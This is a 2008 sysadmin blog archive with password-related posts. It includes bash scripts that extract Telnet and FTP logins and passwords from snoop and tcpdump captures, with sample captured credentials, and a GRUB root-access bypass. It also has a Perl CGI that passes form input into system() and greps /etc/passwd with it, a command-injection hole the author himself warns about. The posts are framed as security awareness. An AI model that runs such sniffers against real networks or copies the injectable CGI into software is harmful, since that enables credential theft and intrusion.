Showing posts with label password. Show all posts
Showing posts with label password. Show all posts

Monday, December 15, 2008

Updating Unix And Linux Passwords Via The Web Browser

Hey there,

QUICK NOTICE FOR REGULAR READERS: We didn't want to lead off the week with this, but tomorrow's post will be an op-ed bit having to do with this blog, its contents and some of the shortcomings of, shall we say, "where we are" (literally). We'll also be putting up a poll to confirm that our opinion is the same as yours (we hope ;) To cut it short, if you find downloading scripts form this site a HUGE PITA, please glance at tomorrow's post and anonymously answer the poll if possible. Thanks :)

This Monday's script is actually a web-page frontend (CGI, to be exact) to make use of another script. That script can be any you want, but, if you like, we published an Expect script some time ago to do network wide updates from a single source that can be modified to restrict it to password changing only.

Now, we'll go on record right away (admittedly, this is the second paragraph, so we're lagging behind already ;) by stating that we do not specifically endorse this method of password changing. It's very convenient (for users both trustworthy and malicious) and does the job, but, use of this script in a secure environment (or any environment that requires protection) is not recommended. Not only does this script open up many potential security holes by allowing access to system commands (albeit via another script that gets called, so it's not "unbelievably" easy to misuse), it will almost guarantee that you won't get your Sarbanes Oxley compliance certificate :) That being said, if you have a small internal net (quarantined from production and other environments) this can be a handy way to do your updates. In the worst case, you can just forego the "web experience" and do your mass password updates using Expect (or any other tool) from the CLI.

Since glitz seems to be the order of the day, the web frontend is presented here and now. We've left out the frontend form where you would enter your name, current password and new password, as creating one of these would probably be specific to your organization and simple enough to knock out. If this is a pain for any of you, just write in (via the "Send Me A Comment" link at upper right corner of every page) and we'll be happy to write one up and post it here.

Hope you enjoy it but, as always, exercise prudence, caution, and all those other qualities that will keep you from getting into a situation that involves immediate termination of employment :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# change_password.cgi
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

&read_parse;

$login = $FORM{'mylogin'};
$password = $FORM{'mypwd'};
$password =~ s/([;?!])/\\$1/;
$new1 = $FORM{'mynewpwd1'};
$new2 = $FORM{'mynewpwd2'};
if ( $new1 ne $new2 ) {
¬_match;
}
$new1 =~ s/([;?!])/\\$1/;
$new2 =~ s/([;?!])/\\$1/;
$nickname = &get_gecos;
$litmus = 0;
$date=`date +%m%d%y`;
open(PASS, "</etc/passwd");
@etcpass = <PASS>;
close(PASS);

foreach $line (@etcpass) {
if ( $line =~ /^$login/ ) {
$litmus = 1;
}
}

if ($litmus == 0) {
print "Content-type: text/html\n\n";
print "<html>\n";
print "<head>\n";
print "<title>Error</title>\n";
print "</head>\n";
print "<body BGCOLOR=\"#000000\" TEXT=\"#00FF00\" LINK=\"#FFFF00\" VLINK=\"#0000FF\" ALINK=\"#BECD8C\">\n";
print "<p>\n";
print "<br><hr><br>\n";
print "<p>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3>Bad User Name</h3></FONT></center>\n";
print "<p>\n";
print "<br>\n";
print "<p>\n";
print "<center>The Name $login doesn't have a login yet!</center>\n";
print "</body>\n";
print "</html>\n";
exit;
}

system("/path/to/your/mass/password/changing/program $login $password $new1");

print "Content-type: text/html\n\n";
print "<html>\n";
print "<head>\n";
print "<title>All Done</title>\n";
print "</head>\n";
print "<h3>\@hummer</h3>\n";
print "<body BGCOLOR=\"#000000\" TEXT=\"#00FF00\" LINK=\"#FFFF00\" VLINK=\"#0000FF\" ALINK=\"#BECD8C\">\n";
print "<p>\n";
print "<br><hr><br>\n";
print "<p>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3>Fine Job, $nickname!</h3></FONT></center>\n";
print "<p>\n";
print "<br>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3>Assuming that your intial password was valid, your Password has been changed!</h3></FONT></center>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3>Remember, also, that all passwords must contain at least one numeric or non-alpha character in order to be accepted.</h3></FONT></center>\n";
print "<p> \n";
print "</body>\n";
print "</html>\n";
exit;

sub not_match {
print "Content-type: text/html\n\n";
print "<html>\n";
print "<head>\n";
print "<title>Error</title>\n";
print "</head>\n";
print "<body BGCOLOR=\"#000000\" TEXT=\"#00FF00\" LINK=\"#FFFF00\" VLINK=\"#0000FF\" ALINK=\"#BECD8C\">\n";
print "<p>\n";
print "<br><hr><br>\n";
print "<p>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3Passwords Don't Match!</h3></FONT></center>\n";
print "<p>\n";
print "<br>\n";
print "<p>\n";
print "<center>The Password $new1 doesn't match $new2</center>\n";
print "</body>\n";
print "</html>\n";
exit;
}

sub read_parse {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
}

sub get_gecos {
$boner = `grep $login /etc/passwd`;
@stuff = split(/:/, $boner);
return $stuff[4];
}


, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, August 5, 2008

Using Grub To Change RedHat Linux's Root Password

Hey There,

I'm back from the dead and no longer cursing Vista ( I've always thought it was strange that most people, including myself, feel disappointment or sorrow when they lose something they didn't have in the first place. The opposite seems perfectly logical. I feel very relieved that I no longer have something that I never had before ;)

Today, we're going to take a look at a quick way to get back your root password (assuming its yours) if, for some reason, you get locked out of your machine. It happens... more than I'd care to admit ;) The course of action I see followed most often is booting from CD, temporarily mounting the physical root drive, and editing /etc/passwd. This is a time-tested solution, and works on pretty much any version of Linux or Unix I've worked with, but I think this way is more fun (and slightly less dangerous). Plus, it saves you a little time (not a lot; just a little). We haven't taken a look at grub since our post on recovering failed raid disks, so I guess this post is about due.

The trick in question has only been tested on RedHat Linux ES, so I can't speak for whether it works on, say, CentOS or Fedora (although I imagine it would work on any system that uses grub for boot loading). Basically, what we're going to do is use grub's boot options to allow us to obtain root access. And, if your machine is properly secured (the /boot directory in particular), you shouldn't be able to edit /etc/grub.conf as a normal user, so physical access (or console/ALOM-type access) to the machine in question is required. It's a pretty simple procedure and goes something like the following:

1. Login to the console on the machine and type "reboot" or "shutdown -r," etc, if you have an account with privileges to initiate such an action. If you don't have an account with suitable privilege, try control-alt-delete (and power off) or hard power-down your machine (you may need to fsck later, but that's a given), take a deep breath and count to 11 ;)

2. Power on the server and wait for the grub boot screen to come up. You'll may not need the GUI for this to work, but it's the only way I've done it. When the grub boot menu comes up, hit the up or down arrow key at least once to stop the automatic boot countdown timer. If you have multiple boot options, choose the one you know (or believe) is the one currently in use (actually, this shouldn't matter, but loading up an older kernel might cause issues) and press the "e" key to enter edit mode.

3. After you enter edit mode, you'll be presented with a few lines of text (dependent on how you have your grub.conf populated). Using your arrow key again, navigate to the line that starts with "kernel." Press the "e" key again, and your cursor should show up at the end of the "kernel" line (if it doesn't, you can move it to where you need it by using the left and/or right arrow keys as necessary).

4. Now that you're in edit mode, and your cursor is in the correct position, type a "space" character followed by "single." So if your boot command line was:

kernel /boot/vmlinuz-2.6.9-34.ELsmp ro root=/dev/sda1
it would now be:
kernel /boot/vmlinuz-2.6.9-34.ELsmp ro root=/dev/sda1 single

5. Now type "b" to continue the boot process and you'll be dumped into a limited shell, as root, passwordlessly. Sometimes this has seemed not to work for me if I changed my edit-focus to a line other than the "kernel" line before typing "b", but that could just be superstition on my part. Thankfully, I don't have to do this all that often :)

6. The rest is gravy. You're root, so all you have to do is type "passwd", set the root password to whatever you like and reboot using your preferred method (reboot, shutdown -r, init 6, whatever works, etc). Since you're in a single-user shell, you can also instantiate a reboot by just typing "exit."
And you should be all set. Now you no longer have an excuse to avoid fixing problems on that machine (the downside ;)
Cheers,

, Mike



08/06/2008 - Thanks for this Additional Useful Information From zcat:

On many distros the 'single' or 'rescue' boot will still ask for a
password. You can get around this by starting linux without starting
initd, just launch a shell instead; and it's blindingly fast.

'e' to edit the boot entry, select the kernel line and press 'e'
again, then type "init=/bin/bash", enter, press 'b' to boot it. You
end up at a root prompt with / mounted read-only. (depending on the
distro, you might need /bin/sh instead)

# mount / -o remount,rw
# passwd
<change your root password here>
# mount / -o remount,ro
<three-finger salute or hit the reset button>



It's also useful for fixing up boot problems, if you're silly enough
to have put commands in various init scripts that don't actually exit
or daemonize...




Thanks for these comments from Laurent regarding an alternate way to get to single user:

Nice to see that method that I was used to apply. Especially with some servers that have been hardened with password aging implementation. And when it is stable you don't need to log on for more than 60 days sometimes....

You could also add that grub can (should?) be password protected.

Cheers

Laurent

Thursday, July 31, 2008

Insanely Securing Your Unix or Linux Systems

Hey again,

Since this week has been all over the map, I thought we'd spend today going back and dipping into the over-the-top-security well ;) You may recall a post from last year that we did on making generic user accounts su-only and, maybe even more so, a post we just recently did on using mkfifo and script to keep tabs on user account usage. Both of these were aimed at providing relatively decent security for the Unix or Linux admin, while allowing the user the freedom to do his or her job without too much of a hassle. Both of these posts assumed a box that had consistent user activity, but needed to be secured from those "ooops" moments that end up burning up your night-time hours and, possibly, creating a financial problem as well (most places I've worked have at least one box that is fairly lax, security-wise, but hemorrhages cash the instant it gets taken offline. The logic of maintaining the status quo in that situation baffles me. But I'm not rich and I don't own the company. I may be missing something ;)

With that in mind, and a grin in our heart, let's look at some other ways you have to secure yourself (and your machines) against misuse and/or abuse by users (and, of course, the innocent mistake made by someone with too much access). We'll assume that you've cranked up the user-account security to the relatively-user-friendly levels we set out in those previous security posts. Everything from here on out is above and beyond. Don't take too much of this literally (of course) unless you have to. Especially if you're walking into a situation where you'll be taking away freedoms users' have become accustomed to. You'll make bitter enemies and they will probably steal your sack lunch ;) This, I repeat, is all in good jest :)

Here are a few more suggestions to ratchet up the security level. We'll start out with the stuff that will be the least offensive to the end user.

1. Remove the additional line that allowed for additional profile sourcing that you added to each user's .profile/.bashrc, etc and don't allow them to set any environment variables through their root-owned and root-writable login profile. Now your users will have a .profile/.bashrc that they can only execute and read, but cannot write to. The final line that allowed them to create a separate file to set their own environment variables has been removed. You're control is slightly more defined now, but the user can still set all that stuff manually or just create a script and run it separately every time they log in. It won't take anyone long to develop a habit, or create an alias to make it even easier. If you want to avoid this nasty side effect, be sure to make the variables you set in the users' .profile/.bashrc "read only", so instead of:

PATH=/usr/bin

use

readonly PATH=/usr/bin

Results and methods will vary from shell to shell.

2. Take the idea of making generic accounts su-only one step further and start restricting access to the su binary as much as possible. If you can get away with it, ensure that your /usr/bin/su file is chowned to root:special and chmod'ed to 4750. Now only root and users who belong to the "special" group can even use su to do anything. Everyone else will get an error just for trying to run it. This has the potential to get some folks angry. And they may have a good point; especially if you've already made it so that they have to log in as themselves in order to su to a generic account that they need to work under.

At this point, I can see why the user base is fuming. You've made their lives impossible! You can get around this easily, though (on those machines where you have generic su-only accounts) by making use of file access control lists (or facl's as they're often cleverly referred to ;). We've only really touched on this once before on this blog, in our post on securing programs using FACL's, which may be a good reason to do a post on them in the near future. For now you should be able to get along by working with the facl on /usr/bin/su and allowing for another group to have write and execute permissions. The actual syntax varies between Linux flavours and Unix flavours, and the man page is always your best friend on this one, but you should be able to add an additional group (with read and execute privilege) to /usr/bin/su by executing the following command (or a variation thereof):

host # setfacl -m g:aGroupName:r-x /usr/bin/su

Be sure to check the permissions of /usr/bin/su after you've verified the new privileges using "getfacl." Sometimes, modifying a setuid root binary will unset the setuid bit and you'll need to just re-chmod it with:

host # chmod 4750 /usr/bin/su

3. Well, by this point you've managed to alienate almost everybody in your organization, but at least you have workable solutions that people will get used to over time. Now it's time to amp it up a few notches and become a walking target ;)

a. Implement s/key-opie type of one time password systems. If your setup isn't sophisticated enough to do that, set your default password length to the max it can be and require everyone to have to pick a new password every other day. Make sure you keep a password history for each user that goes back about 10 or 20 "unique" iterations.

b. Use chroot, or otherwise jail, everyone who logs in. If they need to login as a generic account, provide a separate su binary in their system root with access open only to them and root (using facl's).

c. Disallow all forms of network communication to and from the box except on port 22, if possible.

d. Read the post mentioned above and use extended facl's to lock down /dev/tcp and /dev/udp. Do it in chrooted environments individually, if possible.

e. Intermittently shut down the system (having setup syslog.conf to dump everything to /dev/null) and keep a backup stash of syslog, messages, etc, files that prove that the machine has been up since the beginning of time.

And, oh yeah, be sure to treat the guy who authorizes your paychecks very very kindly :)

Cheers,

, Mike

Monday, July 14, 2008

The Dangers Of Using Cleartext Protocols On The Internet

Hey There,

Today, I'm putting up an updated version of a script we introduced back in April regarding grabbing logins and passwords using Solaris Unix's snoop command (See that link for a more detailed breakdown of how the script works). This version of the script is slightly more user friendly and is made so that it reads directly from the STDOUT of snoop (or, in more practical terms, takes it's STDIN from the STDOUT of the snoop command). To show how easy it is to use, and (of course) to encourage as many people as possible to quit using cleartext protocols, if it can possibly be avoided, we've put a quick demonstration video up on YouTube.com, which you can view below (Apologies for the poor video (The upper right of the screen is intentionally blurred during part of the video on purpose, to protect the guilty ;) It's a lot easier to read if you just go directly to the source):



Hope you enjoy the updated script and have absolutely no way to make use of it ;) Instead, focus your efforts on trying to figure out SSH timing. We're still working on extracting information from SSH. It might be a while... ;)

Enjoy :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# telpass - updated snoop login, password and session logger
# usage: snoop port 23.. etc|telpass
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

login_or_pwd=0
interactive_echo=0
sess_info=0
echo "Parsing binary snoop file $snoop_file"
echo "Note: In Session Mode, dots represent packets"
echo "that do not contain alphanumeric data"

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "login: *$" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow - echo turned off to avoid duplicate characters: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "Password:" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow - echo turned on: "
login_or_pwd=2
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
if [ $login_or_pwd -eq 2 ]
then
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow - echo turned off to avoid duplicate characters:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF;else print "."}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
done
echo
exit 0

, Mike

Tuesday, April 29, 2008

Grabbing Telnet Information On Linux Using TcpDump

Hello again,

Today, I thought we'd continue along our "snooping" path and clear the way for a solution that would satisfy more than one Operating System. Snoop, although a fine program in my estimation, isn't available at all except for use on Solaris Unix (If I'm wrong, please let me know :) After yesterday's post on snooping the ftp port and our earlier post on capturing logins and passwords over Telnet with snoop, it seemed like it was about time to get back to Linux.

Linux may not have the "snoop" command, but it hardly matters, since freeware programs like tcpdump, ethereal, snort, etc are all out there and can be compiled on pretty much any system (if your Linux distro doesn't already have a package readily available; which is doubtful ;)

For a more detailed look at the "process" involved in our tcpdump'ing, check out the old post on capturing logins and passwords even though it was for Solaris. The method of achieving the end results is so similar, and it took up so much HTML real-estate to convey, that it would be annoying (to put it mildly) to slap it right in the middle of this post :)

In any event, today we've written a quick bash shell script called "tcptelnet.sh." It takes standard input (STDIN) as its source of input (which can be fairly easily modified) and was made to run in a pipe-chain after a tcpdump command of the format below:

host # tcpdump -l -vvv -x -X port 23 |./tcptelnet.sh <--- Just so you have all the info in one place, the command line arguments listed here are: -l (to make the standard output (STDOUT) line buffered, or easier to read), -vvv (to make the output very very verbose), -x and -X (to print in HEX and ASCII, print out headers and pad packets with null bytes).

The reason the format of the tcpdump command is important is because changing it would change the way tcpdump spewed it's output, and the "tcptelnet.sh" script (much like our other shell scripts with regard to this topic) is a simple parser for the output to make it more readable. For instance, you must be the "root" user (or have equivalent privilege on the host you're running the script from) for this to work. This is not a way to "hack" or "get around" Linux security. This is just a demonstration of how readily available all unsecured information is, even on a secured network.

Following is a sample of the output you should expect. Note that, given tcpdump's output format, and my desire to not repeat the unnecessary complexity of our snoop script, I sacrificed the capital U for the sake of all-around convenience. This is only interesting in that, if you note a dot (.) where you think there should be a character, it's probably a capital U. All of the strings that our command generates show these on the echo-backs and I chose to only parse those, since they get sent with all regular, as well as password, information. You are, of course, welcome to make this shell script better. The nature of network traffic makes it a bit difficult to pin things down to absolutes, I've found ;)

And here's that sample session:

host # tcpdump -l -vvv -x -X port 23 |./tcptelnet.sh
tcpdump: listening on qfe0, link-type EN10MB (Ethernet), capture size 68 bytes

Possible session info to follow:
u.s.e.r.0.0.1..
Possible password to follow:
.listpy..
Possible login ID to follow:
.u.s.e.r.0.0.1..
Possible password to follow:
.sm0k3BomB..
Possible login ID to follow:
.h...m.m.e.r..
Possible password to follow:
.H.MM.S........
Possible login ID to follow:
.u.s.e.r.0.0.1..
Possible password to follow:
.MyS3cr3tP@ssw0rd.

Possible session info to follow:
....l.s...pw.d...e.x.i.t...^C254 packets captured
891 packets received by filter
0 packets dropped by kernel


As I noted above, the capital U gets whacked on some lines due to the output format and the way we process it in the bash script. For instance, the line that reads:

.h...m.m.e.r

was actually typed into the Telnet session as:

hUmmer

Once you note the pattern of input (and have the knowledge that this is the only letter - and only in capital form - that is excluded from our matches), it becomes fairly simple to fill in that small blank.

Hope you enjoy this script and do "good things" with it. Use it for security, not insecurity :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# tcptelnet.sh - extract password and session information tcpdump
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

login_or_pwd=0
sess_info=0

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "gin:" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "sword" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow: "
login_or_pwd=1
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
echo $line|awk '{ if ( $NF ~ /UUUUU$/ ) print $NF }'|sed 's/^.*\(.\)UUUUU$/\1/'|sed 's/^U/\./' |xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
echo $line|awk '{ if ( $NF ~ /UUUUU$/ ) print $NF }'|sed 's/^.*\(.\)UUUUU$/\1/'|sed 's/^U/\./' |xargs -ivar echo "var\c"
continue
fi
done
echo
exit 0


, Mike

Monday, April 28, 2008

Snooping The FTP Command Port On Solaris





Check out the video above to see this simple script in action.

Hey There,

Today, we're going to take another look at parsing the output from "snoop" (good to go on Solaris Unix 8 through 10), as we did in our previous post on finding and printing out logins, passwords and other session information over Telnet. Today, we're going to see what we can find by monitoring FTP port 21 (as opposed to FTP data port 20).

Again, a quick note: Today's simple script and demonstration are provided simply to shine a light on a vulnerability that has existed for quite some time, and not as an invitation to illegal activity. I'd like to think that posts, and articles everywhere, on this subject serve as a consistent reminder that, if you really want to try and keep your information secure, you shouldn't use unsecure protocols. For instance, as an alternate to straight-up FTP, programs like SCP and SFTP (Technically a subsystem of SSH, running on port 22) are freely available and would make this method of gaining information impossible.

Hopefully this bash shell script will help out a few sys admins out there. Actually, getting information from FTP port 21 is so simple that the script could actually be written on one succinct command line.

Rather than go into a long convoluted dissection of how the process works (which we beat to death in our post on grabbing passwords with snoop over Telnet), I've attached a small video to this post (see above). If you can, download it and play it in slow motion. The player above should freeeze on the final frame, which is really the shot that shows you how much information you can get by just "listening."

Note, also, that the one big difference between this script and our last script for grabbing passwords using snoop (other than that we're doing it on FTP port 21) is that this script has been written to take standard input (STDIN) rather than read a binary snoop file. So, you'll need to run it like this:

host # snoop -v port 21|./ftppass.sh

You can change the original Telnet script also. All you need to do is comment out this part:

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi


and change this line by removing the "<$snoop_file" reference, so it just says "done":

done <$snoop_file

Just in case you have problems viewing the video above (codecs, no plug-in for your browser, etc), even though I put it up on youtube in hopes that would make it most accessible, I've included another run of output below (same thing, only slightly different and shorter ;):

host # snoop -v port 21|./ftppass.sh
Using device /dev/qfe (promiscuous mode)
220 host FTP server ready.
USER test
331 Password required for test.
PASS binger
530 Login incorrect.
SYST
530 Please login with USER and PASS.
USER test
331 Password required for test.
PASS testing123
230 User test logged in.
PWD
257 "/home/test" is current directory.
QUIT
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 360 bytes in 0 transf


Hopefully this will help you help others see the benefit of using secure FTP whenever possible (even on a "secure" network).

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ftppass.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

while read line
do
echo $line|awk '{ if ( $1 ~ /FTP:/ && $2 && $2 !~ /^""$/ && $3 !~ /FTP:/ ) print substr($0,index($0,$2)) }'|sed -e 's/^\"\(.*\)\"$/\1/' -e 's/rn$//'
done


, Mike

Tuesday, April 15, 2008

Capturing Logins And Passwords With Solaris Snoop

Hey There,

Today, we're going to take a look at parsing the output from "snoop" (specifically tested on Solaris Unix 9 and 10, but almost definitely backward compatible to Solaris 8) and printing out logins, passwords and simple session information. We'll try to keep the explanation short today, since the examples are long ;)

As a quick note, since we've received more than a few emails on the subject (requesting illegal services we don't provide): Although today's post, and the attached script, will show you how to do something that (under the correct circumstances) could be illegal, unethical or both, we're only presenting it as a tool to help promote security; much like we've done before in posts regarding encrypted passwords, password cracking and so forth. It is not our intention to encourage malicious behaviour; only to bring focus on security-related issues that have been around for a long time and (for some reason) are still treated as minor nuisances.

Hopefully the bash shell script attached at the bottom will be helpful to a few sys admins out there. If you work on a network that allows users to Telnet (or use rsh or any other form of unencrypted network protocol), you may have been on the losing end of an argument about how the stealing of passwords transmitted in cleartext "never really happens."

For those of you afflicted by the aforementioned condition: Good news! You can make it happen (and do it ethically) today. With any luck, the output our script provides from a simple snoop on the Telnet port will make an impression for the positive and convince those users who (for some reason) don't want to use SSH, to finally make the switch :) Note that in order to run the "snoop" command you must be either root, or have gained elevated privileges through some other manner.

Following is the demonstration of a few simple sessions, and the output you can expect to see from the script. You may see quite a bit more since we had to do this in a limited environment and eventually got sick of logging in and out of the server we were snooping on ;) Since some of these examples are extensive, even though we weeded out tons of output, we've included anchor links so you can hop past any particular step rather than having to scroll down through the example output.

1. On the server accepting Telnet connections, we started up this command to capture all output to a snoop binary file (named "output_file") and only listen to port 23 (Telnet):
Skip to Step 2

host # snoop -o output_file port 23
Using device /dev/qfe (promiscuous mode)
616 ^C
<--- That was the entirety of our snooping process, which is scary in itself.

2. During the time snoop was running on that server, we logged into it multiple times, did a few things, typed our password wrong, logged in again, etc, as seen below (we've clipped a lot of boring warning messages and replaced useless output from our sessions with ellipses (...) - As usual, host names, logins, IP addresses and passwords have been changed to protect the somewhat innocent ;)
Skip to Step 3

host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # cd /usr/local
host # pwd
/usr/local
host # exit
logout
...

host_1# telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # cat .profile
set -o vi
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
Login incorrect
login: user51
Password:
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # w
2:03pm up 17 day(s), 2 users, load average: 0.39, 0.18, 0.12
User tty login@ idle JCPU PCPU what
...
host # whodo
Mon Apr 14 20:30 CDT 2008
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
host # id
uid=55787(user51) gid=666(forx)
host # exit
logout


3. Then we read the binary snoop file into an ascii text file using snoop's default settings, ran our script (which we named "telpass" to continue our tradition of blatant unoriginality), and watched the logins and passwords come on out:
Skip to Step 4

host # snoop -i output_file >ascii_net_out 2>&1
host # ./telpass ascii_net_out

Possible session info to follow:
........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...c.d../u.sr./l.oca.l...pw.d...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...c.at....pr.of.il.e...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...w...wh.od.o...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...i.d...exi.t...


4. And, finally we ran snoop with medium-extra verbosity, and pumped that into an ascii text file, as well. This provides a little more information on the user's command line usage, but may just be a waste of time since you don't really get anything extra for your effort:
Skip to the summary

host # snoop -V -i output_file >binger
host # ./telpass binger

Possible session info to follow:
........................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................c.........d............../....u.........s....r........./....l.........o....c....a.........l...................p....w.........d...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................c.........a....t........................p....r.........o....f.........i....l.........e...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................w...................w....h.........o....d.........o...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................i.........d...................e....x....i.........t.................


Summary: And that's about that :) You notice that at one point, we accidentally entered a bad password, but if you're getting this kind of information, you can't complain ;) The script should be fairly simple to decipher. Note that we do skip alternate packets while reading the login entry (because of the double output from interactive echo which doesn't happen with the "invisible" password). We also skipped alternate packets during the sessions ( for the same reason) and padded empty packets (while we were supposedly thinking of what to do next - or where the next typewriter key was ;) with periods (.) In any event, if you're familiar with Unix or Linux, you can see the commands, directories, etc, from between the dots.

Hope this script helps to keep your work (and maybe even home) network more secure. There's nothing like showing someone their password to convince them that it "does really happen."

Please use responsibly, and best wishes :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# telpass - extract password and session information from ascii "snoop" output
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi

login_or_pwd=0
interactive_echo=0
sess_info=0

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "login: *$" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "Password:" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow: "
login_or_pwd=2
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
if [ $login_or_pwd -eq 2 ]
then
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF;else print "."}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
done <$snoop_file
echo
exit 0


, Mike




Thursday, February 21, 2008

Generating Encrypted Strings For Password Restoration

Greetings,

This is a little bit of a twist on an old post (one of many, actually) that we did on password cracking in Linux and Unix using Perl.

In the previous entry in our ongoing series of randomly connected password hacking posts, and pretty much every other one of them, we've looked at how to guess passwords using brute force methods, or otherwise "figure out" a users password. For those of you who missed it, check out this post on generating all possible 8 character passwords with Perl.

